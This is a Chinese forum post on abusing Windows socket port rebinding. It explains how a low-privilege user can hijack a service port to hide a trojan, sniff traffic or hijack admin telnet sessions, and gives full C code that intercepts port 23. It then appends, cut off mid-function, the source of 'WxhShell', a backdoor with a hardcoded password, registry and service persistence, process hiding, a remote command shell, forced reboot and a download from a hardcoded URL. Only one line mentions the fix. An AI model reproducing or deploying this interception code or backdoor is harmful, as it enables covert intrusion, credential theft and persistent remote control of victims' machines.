社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18388阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  vmqa_gU\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KdR4<qVV}  
8%7%[WC#  
  saddr.sin_family = AF_INET; EL?(D  
K3?5bT_{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /I`TN5~  
bmv8nal<Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Jj-\Eb?  
j,M$l mR')  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I\. |\^  
z qeQ  
  这意味着什么?意味着可以进行如下的攻击: *,\"}x*  
AHb_BgOU*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :\OSHs<M  
_ Op%H)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o+a=  
kv:9Fm\$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fu "cX;  
a: "1LnvR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uY& 1[(Pb  
0|P=S|%~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KZppQ0  
c{MoeIG)v@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b(*\4n  
+:FXtO>n"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2Vx4"fHP#N  
ipv5JD[  
  #include z#tIa  
  #include pDR~SxBXr  
  #include 6@N,'a8r  
  #include     Unk/uk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *7!MG  
  int main() <0CjEsAB]  
  { 1q}L O2  
  WORD wVersionRequested; 2 *NPK}  
  DWORD ret; v)5;~.+%  
  WSADATA wsaData; 6 4_}"fU  
  BOOL val; jx}&%p X  
  SOCKADDR_IN saddr; t1']q"  
  SOCKADDR_IN scaddr; kKyU?/aj  
  int err; |qNe_)  
  SOCKET s; cgb>Naa<  
  SOCKET sc; ';I}6N  
  int caddsize; !nBbt?*  
  HANDLE mt; W:r[o%B  
  DWORD tid;   )4g_S?l=  
  wVersionRequested = MAKEWORD( 2, 2 ); UsE\p9mCuV  
  err = WSAStartup( wVersionRequested, &wsaData ); R]"Zv'M(AM  
  if ( err != 0 ) { G+ /Q!ic  
  printf("error!WSAStartup failed!\n"); :5k* kx#y  
  return -1; h"`\'(,X  
  } <XeDJ8 '  
  saddr.sin_family = AF_INET; Px_8lB/;  
   ^z *0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vpu#!(N  
K"!rj.Da  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ' @!&{N  
  saddr.sin_port = htons(23); zIc6L3w$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jq_\r' YE  
  { V;SfW2`)  
  printf("error!socket failed!\n"); K?l|1jez(#  
  return -1; i /X3k&  
  } o-<i+To%  
  val = TRUE; 4&*lpl*N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c~T {;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v^C\ GDH  
  { ~?/7: S  
  printf("error!setsockopt failed!\n"); wkt4vE87  
  return -1; +Y?Tri  
  } t #(NfzN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4phCn5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lU1SN/'zx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sUF$eVAT  
1]} \h]*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |r@;ulO  
  { ]TrJ*~  
  ret=GetLastError(); xU\!UVQ/  
  printf("error!bind failed!\n"); ]@U?hD  
  return -1; Q4mtfpiDx  
  } (u?s@/e:`/  
  listen(s,2); +:Zwo+\kSN  
  while(1) kH 9k<{  
  { B;bP~e>W  
  caddsize = sizeof(scaddr); _kD5pC =  
  //接受连接请求 /IirTmFK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); SrA6}kS  
  if(sc!=INVALID_SOCKET) IQBL;=.J.  
  { ~vF*&^4Vh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); orJ|Q3c)d  
  if(mt==NULL) c<1$ zQY!  
  { mLq0;uGL|  
  printf("Thread Creat Failed!\n"); T#&1q]P1F  
  break; i7H([b<_m  
  } c:${qY:!  
  } C5=^cH8  
  CloseHandle(mt); u&y> '  
  } #|\|G3Si %  
  closesocket(s); q`AsnAzo&  
  WSACleanup(); wW TuEM  
  return 0; d^'_H>x  
  }   ejg!1*H@n  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6?"Gj}|r  
  { H8HH) ^  
  SOCKET ss = (SOCKET)lpParam;  3B#fnj  
  SOCKET sc; ,$]m1|t@z  
  unsigned char buf[4096]; wgSFL6Ei  
  SOCKADDR_IN saddr; d Np%=gIj  
  long num; R1*&rjB  
  DWORD val; @kd$.7Y9  
  DWORD ret; ",YNphjAn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %~eu&\os  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ez <YD  
  saddr.sin_family = AF_INET; tT`S" 9T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i@{b+5$  
  saddr.sin_port = htons(23); m<Gd 6V5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fkv284,LM  
  { r0z8?  
  printf("error!socket failed!\n"); HmXxM:[4;  
  return -1; ZrYRLg  
  } oKRI2ni$j9  
  val = 100; xfUV'=~(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,9OER!$y  
  { axG%@5  
  ret = GetLastError(); ml~ )7J  
  return -1; $1X !Ecq_  
  } N]BH67<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }lk9|U#6*`  
  { kH06Cb  
  ret = GetLastError(); >U:-U"rA?  
  return -1; Jcvp<  
  } +MS*YpPW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .Sm 8t$  
  { ~H ctXe'x  
  printf("error!socket connect failed!\n");  LWo)x  
  closesocket(sc); 98}l`J=i  
  closesocket(ss); hzV%QDUpe  
  return -1; L#Ve [  
  } Qz"@<qgQy  
  while(1) ?:PF;\U  
  { 0s4]eEXH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 CS^|="Zs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %z1hXh#+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Vg7+G( ,  
  num = recv(ss,buf,4096,0); q|.0Ja  
  if(num>0) 8LtkP&Wx  
  send(sc,buf,num,0); WAr6Dv,8  
  else if(num==0) Kt#X'!9/<  
  break; NS4W!o;"  
  num = recv(sc,buf,4096,0); 6.v)q,JL  
  if(num>0) P\X$fD  
  send(ss,buf,num,0); QswFISch  
  else if(num==0) Kn+B):OY+  
  break; *xKY>E+  
  } 9@(V!G  
  closesocket(ss); }e1]Ib!  
  closesocket(sc); 7*&q"   
  return 0 ; EU7mP MxJ  
  } ~:A=o?V2  
i/DUB<>p6  
9&4z4@on  
========================================================== Cp-p7g0wlg  
0bIhP,4&  
下边附上一个代码,,WXhSHELL v3/G.B@=  
cZ/VMQEr  
========================================================== r^"pLzAx  
_nW#Cl~  
#include "stdafx.h" 6[% 4 Q[  
al Q:'K  
#include <stdio.h> pu+jw<7  
#include <string.h> \H?r[]*c%  
#include <windows.h> )e\IdKl=  
#include <winsock2.h> <yE d'Z  
#include <winsvc.h> /`B:F5r  
#include <urlmon.h> mvW,nM1Y  
*+cW)klm  
#pragma comment (lib, "Ws2_32.lib") IsiCHtY9  
#pragma comment (lib, "urlmon.lib") *p%=u>?&  
20RISj  
#define MAX_USER   100 // 最大客户端连接数 v+`gQXJ"G  
#define BUF_SOCK   200 // sock buffer ^&8xfI6?  
#define KEY_BUFF   255 // 输入 buffer !.5,RIf  
[,ns/*f3R  
#define REBOOT     0   // 重启 d#3E'8  
#define SHUTDOWN   1   // 关机 Hk|wO:7Be  
5@@ilvwzz  
#define DEF_PORT   5000 // 监听端口 4] I7t  
QPpC_pZh  
#define REG_LEN     16   // 注册表键长度 KdtQJ:_`k  
#define SVC_LEN     80   // NT服务名长度 .q (1  
0h~7"qUF@  
// 从dll定义API ZncJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2_Otv2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /jv4# 9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N(^ q%eHp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qm=N@@R&  
3rw<#t;v  
// wxhshell配置信息 =?g B@vS  
struct WSCFG { }0~4Z)?e3  
  int ws_port;         // 监听端口 %oE3q>S$en  
  char ws_passstr[REG_LEN]; // 口令 rOd~sa-H  
  int ws_autoins;       // 安装标记, 1=yes 0=no DF!*S{)  
  char ws_regname[REG_LEN]; // 注册表键名 w0L+Sj db  
  char ws_svcname[REG_LEN]; // 服务名 :NPnwX8w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aaM76;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e2l!L*[g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VsM~$ )  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a6i%7Om  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '&hk?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fC$(l@O?  
^9*kZV<K  
}; <*5 5d2  
||t"}Y  
// default Wxhshell configuration ;X XB^,  
struct WSCFG wscfg={DEF_PORT, 1iTI8h&[@  
    "xuhuanlingzhe", ' (1`iQ;  
    1, UiLiy?EJ  
    "Wxhshell", qz<>9n@o  
    "Wxhshell", MYVgi{  
            "WxhShell Service", w[X/|O  
    "Wrsky Windows CmdShell Service", Q&A^(z}  
    "Please Input Your Password: ", (!B1} 5"  
  1, 7dbGUbT  
  "http://www.wrsky.com/wxhshell.exe", yTb#V"eR  
  "Wxhshell.exe" 6w Y6* R  
    }; \DC0`  
4V9S~^v|  
// 消息定义模块 VHihC]ks,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qzt.k^'-^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7lH3)9G;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kI|7o>}<   
char *msg_ws_ext="\n\rExit."; |qFCzK9tD/  
char *msg_ws_end="\n\rQuit."; `!A<XiAOmM  
char *msg_ws_boot="\n\rReboot..."; Yg kd1uI.  
char *msg_ws_poff="\n\rShutdown..."; |)}&: xA%  
char *msg_ws_down="\n\rSave to "; O4.`N?Xq  
A4>j4\A[M  
char *msg_ws_err="\n\rErr!"; :[C"}m R1  
char *msg_ws_ok="\n\rOK!"; o3OtG#g2  
6A23H7  
char ExeFile[MAX_PATH]; N0_@=uE  
int nUser = 0; 9H#;i]t&  
HANDLE handles[MAX_USER]; |.EC>D /  
int OsIsNt; 3yw`%$d5  
1HS43!  
SERVICE_STATUS       serviceStatus; O=E?m=FR"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WAqH*LB  
a 0+W-#G  
// 函数声明 /c:78@  
int Install(void); qb 1JE[2F  
int Uninstall(void); O.Xhi+  
int DownloadFile(char *sURL, SOCKET wsh); L }L"BY3$  
int Boot(int flag); .Gq]Mrim9G  
void HideProc(void); ;\48Q;  
int GetOsVer(void); dlJc~|  
int Wxhshell(SOCKET wsl); p38RgEf  
void TalkWithClient(void *cs); i_<GSUTTr/  
int CmdShell(SOCKET sock); dp DPSI  
int StartFromService(void); IJ E{JH  
int StartWxhshell(LPSTR lpCmdLine); =Hf`yH\#  
\;bDDTM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G'IRqO *]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Nm4 h  
;&i4QAo-  
// 数据结构和表定义 &X&msEM  
SERVICE_TABLE_ENTRY DispatchTable[] = s9F{UN3  
{ Or<OmxJg  
{wscfg.ws_svcname, NTServiceMain}, _y5J]Yu`j  
{NULL, NULL} *pj^d><  
}; - xKa-3  
~b;u1;ne  
// 自我安装 ZBsV  
int Install(void) 7Q>bJ Ek7  
{ ]Mb:zs<r  
  char svExeFile[MAX_PATH]; ![Ll$L r  
  HKEY key; UR<a7j"@2  
  strcpy(svExeFile,ExeFile); C2(VYw  
b;jr;I  
// 如果是win9x系统,修改注册表设为自启动 w tSX(LN Y  
if(!OsIsNt) { 7v]9) W=y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *c>B,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !cNw 8"SIU  
  RegCloseKey(key); 0f9*=c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W!B\VB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |{V@t1`  
  RegCloseKey(key); :J;&Z{  
  return 0; p,K!'\  
    } x=YV*  
  } T0v{qQ  
} :878q TB  
else { [5i }C K_=  
n7VQi+i'  
// 如果是NT以上系统,安装为系统服务 hp3 <HUU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U^ ;H{S  
if (schSCManager!=0) JyDg=%-$2  
{ t~_bquGk  
  SC_HANDLE schService = CreateService Zonr/sA~  
  ( nxhn|v  
  schSCManager, L['g')g.  
  wscfg.ws_svcname, \V%l.P4>e  
  wscfg.ws_svcdisp, *o6hDhg  
  SERVICE_ALL_ACCESS, T )!k J;vc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $A^OP{  
  SERVICE_AUTO_START, HyC826~-rI  
  SERVICE_ERROR_NORMAL, sh)[|?7z  
  svExeFile, ]=]fIKd  
  NULL, <~ }NxY\5  
  NULL, $SfYO!n7Q  
  NULL, K+3+?oYKH  
  NULL, VI k]`)#  
  NULL ;D|g5$OE&  
  ); i% n9RuULh  
  if (schService!=0) pSdtAv  
  { XCj8QM.o  
  CloseServiceHandle(schService); ^*'fDP*  
  CloseServiceHandle(schSCManager); 2bAH)=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iq<nuO  
  strcat(svExeFile,wscfg.ws_svcname); q!y!=hI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BPd *@l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kzmw1*J  
  RegCloseKey(key); qZYh^\  
  return 0; :=?od 0]W  
    } x:iLBYf  
  } CPci 'SO  
  CloseServiceHandle(schSCManager); vVf%wei^#  
} dh V6r  
} B3Daw/G  
1eOQ;#OV  
return 1; j2s{rQQ  
} )St`}qu;  
JYrOE "!h  
// 自我卸载 +wGFJLHJ  
int Uninstall(void) go?}M]c%7  
{ n8Rsle`a  
  HKEY key; ( 9(NP_s  
K$c?:?wmo  
if(!OsIsNt) { Bk@&k}0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u?SxaGEa  
  RegDeleteValue(key,wscfg.ws_regname); ?U3~rro!  
  RegCloseKey(key); *T2kxN,Ik  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >!PCEw<i  
  RegDeleteValue(key,wscfg.ws_regname); +2,EK   
  RegCloseKey(key); K>_~|ZN1C8  
  return 0; G;AJBs>Y}  
  } U*\ 1d  
} JZ)w  
} }BAe   
else { #B5-3CwB  
;^ff35EE8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'o|=_0-7W  
if (schSCManager!=0) 4[rX\?^e  
{ WO=P~F<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +pxtar  
  if (schService!=0) T/ P   
  { HXgf=R/$  
  if(DeleteService(schService)!=0) { ;R7+6  
  CloseServiceHandle(schService); <;hy-Q()D  
  CloseServiceHandle(schSCManager); m%U$37A 1  
  return 0; +HEL^  
  } zU";\);  
  CloseServiceHandle(schService); ntn ~=oL  
  } /! M%9gu  
  CloseServiceHandle(schSCManager); #YK=e&da  
} $d Nmq  
} GRAPv|u9[  
:.crES7<[X  
return 1; ~vKDB$2  
} +kx#"L:  
u_.Ig|Va  
// 从指定url下载文件 %";ap8J04F  
int DownloadFile(char *sURL, SOCKET wsh) qv8B$}FU  
{ `gdk,L]  
  HRESULT hr; Q #p gl  
char seps[]= "/"; G&@_,y|  
char *token; .e|\Bf0P  
char *file; JnS@}m  
char myURL[MAX_PATH]; S+u@ Q}  
char myFILE[MAX_PATH]; mV|Z5= f  
QURpg/<U  
strcpy(myURL,sURL); &X)^G#  
  token=strtok(myURL,seps); |z`AIScT  
  while(token!=NULL) HjT-5>I7f  
  { bf/z T0  
    file=token; v K!vA-7  
  token=strtok(NULL,seps); P]H4!}M  
  } a.up&g_$  
!wIrI/P7#  
GetCurrentDirectory(MAX_PATH,myFILE); d[sY]_ dj  
strcat(myFILE, "\\"); Mc 6v  
strcat(myFILE, file); DYTC2  
  send(wsh,myFILE,strlen(myFILE),0); ^"+Vx9H"{  
send(wsh,"...",3,0); 90">l^HX=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G],W{<Pe  
  if(hr==S_OK) Q$x 3uH\@  
return 0; P"r7m  
else >Dq&[9,8  
return 1; Ki\J)l  
s[}cj+0  
} K5 Z'kkOk  
hzrS_v  
// 系统电源模块 Z;cA_}5  
int Boot(int flag) {$'oKJy*  
{ -qpe;=g&f  
  HANDLE hToken; ,Ofou8C6  
  TOKEN_PRIVILEGES tkp; j~O"=?7!O  
v(^;%  
  if(OsIsNt) { Oo x,4 &  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `Lr|KuFN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z>hGqFZ0{  
    tkp.PrivilegeCount = 1; 1  Lz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Cf3<;Mp<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2 P9{?Y  
if(flag==REBOOT) { Rzxkz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9Qn*frdY,  
  return 0; TJs~}&L  
} 9KMtPBZ  
else { ,m;G:3}48  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NQ,2pM<*-  
  return 0; %=5m!"F  
} ^o Q^/v~  
  } *[tLwl.  
  else { F*=}}H/  
if(flag==REBOOT) { A&:~dZ:%w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %RXFgm!{f  
  return 0; :@J.!dokF  
} L[lS >4e N  
else { >/y+;<MZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >RXDuCVi  
  return 0; [wcp2g3Px  
} j_}f6d/h  
} RNb"O{3  
J;Eg"8x]  
return 1; !Z%pdqo`.  
} $i$Z+-W4'  
,zh4oX`>  
// win9x进程隐藏模块 xN44>3#  
void HideProc(void) }Pj;9ivz  
{ M$2lK^2L  
7z3YzQ=Kg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'Jl73#3  
  if ( hKernel != NULL ) 90!67Ap`x  
  { E~1"Nh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I->4Q&3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6='x}Qb\H  
    FreeLibrary(hKernel); w'<"5F`  
  } 9^^:Y3j  
:xsNn55b  
return; ^q/_D%]C  
} }RZN3U=  
&U y Q<O>  
// 获取操作系统版本 P yN{  
int GetOsVer(void) 6G<gA>V  
{ b!z kQ?h  
  OSVERSIONINFO winfo; $ cYKVhf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y$ '6p."=  
  GetVersionEx(&winfo); QP!0I01  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $'Qv {  
  return 1; "i; "  
  else 3Hkb)Wu  
  return 0; ;g_<i_ *x#  
} }Bn`0;]  
`_>44!M  
// 客户端句柄模块 +XL|bdK  
int Wxhshell(SOCKET wsl) Ogp@!  
{ nSB@xP#&  
  SOCKET wsh; g)^g_4  
  struct sockaddr_in client; ]BY<D`$$P  
  DWORD myID; t? [8k&Z  
i3o;G"IcD  
  while(nUser<MAX_USER) 0R}F( tjw  
{ U t.#h="  
  int nSize=sizeof(client); `*--vSi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lAo S 9w  
  if(wsh==INVALID_SOCKET) return 1; &v<Am%!N  
.X{U\{c|a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5ii:93Hlj  
if(handles[nUser]==0) bSS=<G9  
  closesocket(wsh); 3Jw}MFFV  
else t(=Z@9)]4F  
  nUser++; ]?(_}""1  
  } [M&.'X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eT Z2f  
Q i\"b  
  return 0; e\' =#Hw  
} Z,5B(Xj  
_?a.S8LxJZ  
// 关闭 socket c^`(5}39v  
void CloseIt(SOCKET wsh) g0A,VX:2  
{ 0M 5m8  
closesocket(wsh); QLOcgU^  
nUser--; Fps:6~gD  
ExitThread(0); s:Io5C(  
} 9 hdz<eFL  
A!^gF~5  
// 客户端请求句柄 y\c-I!6>26  
void TalkWithClient(void *cs) Ygfv?  
{ )9z3T>QW  
.0iHI3i^  
  SOCKET wsh=(SOCKET)cs; Vl%jpjqP  
  char pwd[SVC_LEN]; v7G&`4~  
  char cmd[KEY_BUFF]; (bON[6OGm  
char chr[1]; sL\W6ej  
int i,j; "D?:8!\!  
kyu PN<?  
  while (nUser < MAX_USER) { -VkPy<)  
6>j0geFyE2  
if(wscfg.ws_passstr) { Z^r? MX/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FFpG>+*3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ##|]el%Y  
  //ZeroMemory(pwd,KEY_BUFF); !TeI Jm/l  
      i=0; EN{o3@ O'  
  while(i<SVC_LEN) { _Sn45h@"  
tLo_lLn*~%  
  // 设置超时 ~dlpoT  
  fd_set FdRead; ) |j?aVqZ  
  struct timeval TimeOut; pW1(1M)[%Z  
  FD_ZERO(&FdRead); )T!3du:M  
  FD_SET(wsh,&FdRead); d .t$VRO  
  TimeOut.tv_sec=8; 10W6wIqK  
  TimeOut.tv_usec=0; 5;q{9wvqO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B8.uzX'p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .l +yK-BZ  
\TnRn(Kw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vnD `+y  
  pwd=chr[0]; h #(J6ht  
  if(chr[0]==0xd || chr[0]==0xa) { <zt124y-6  
  pwd=0; >S'IrnH'!  
  break; ?yy,3:  
  } i16kPU  
  i++; 2C"[0*.[N  
    } `e^sQ>rDI  
ky=h7#wdv-  
  // 如果是非法用户,关闭 socket 9N V.<&~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NGVl/Qd  
} $c}-/U 8  
-)Of\4kx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @23~)uiZa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B<oBo&uA  
8ib%CYR  
while(1) { +~f=L- >  
SkyX\&  
  ZeroMemory(cmd,KEY_BUFF); zLybf:#  
'ZAl7k .  
      // 自动支持客户端 telnet标准   +a0` ,Jc  
  j=0; "WZ|   
  while(j<KEY_BUFF) { ,yH\nqEz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @^Yr=d ba  
  cmd[j]=chr[0]; z#^;'nnw  
  if(chr[0]==0xa || chr[0]==0xd) { :s>x~t8g#n  
  cmd[j]=0; ug^esB  
  break; {fa3"k_ke  
  } y85R"d  
  j++; QJ2D C  
    }  D`3`5.b  
!!d?o  
  // 下载文件 }No8to  
  if(strstr(cmd,"http://")) { 9nS fFGu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aKz:hG  
  if(DownloadFile(cmd,wsh)) ip!-~HNwJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #jM-XK  
  else 45;ey }8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .FC|~Z1T<F  
  } a!B"WNb+  
  else { A\<W x/  
|dhKeg_  
    switch(cmd[0]) { v n4z C  
  #p2`9o  
  // 帮助 lRR A2Kql  
  case '?': { 1P?|.W_^1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?z&5g-/b  
    break; Vrs?VA`v$  
  } v1z d[jqk  
  // 安装 8kT`5`}lB  
  case 'i': { oL@K{dk  
    if(Install()) GglGFXOL-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @MO/LvD  
    else sO{TGk]*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )6(|A$~C+  
    break; xZA.<Yd^r  
    } yxAy1P;dX  
  // 卸载 SG]Sx4fg,Y  
  case 'r': { QD%!a{I  
    if(Uninstall()) 'qJ0338d#U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xy r'rm5+b  
    else _!,Ees=b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wf`A&P5tF  
    break; aK/fZ$Qc  
    } d/!\iLF  
  // 显示 wxhshell 所在路径 p<3<Zk 7~0  
  case 'p': { T^vhhfCUr  
    char svExeFile[MAX_PATH]; me@)kQ8M  
    strcpy(svExeFile,"\n\r"); 3g3f87[  
      strcat(svExeFile,ExeFile); DL uaM?7  
        send(wsh,svExeFile,strlen(svExeFile),0); 4w)>}  
    break; 5XV|*O;  
    } UE/JV_/S;  
  // 重启 <cU%yA710  
  case 'b': { 0TZB}c#qT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5?Pf#kq  
    if(Boot(REBOOT)) Q[ ?R{w6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )FNn  
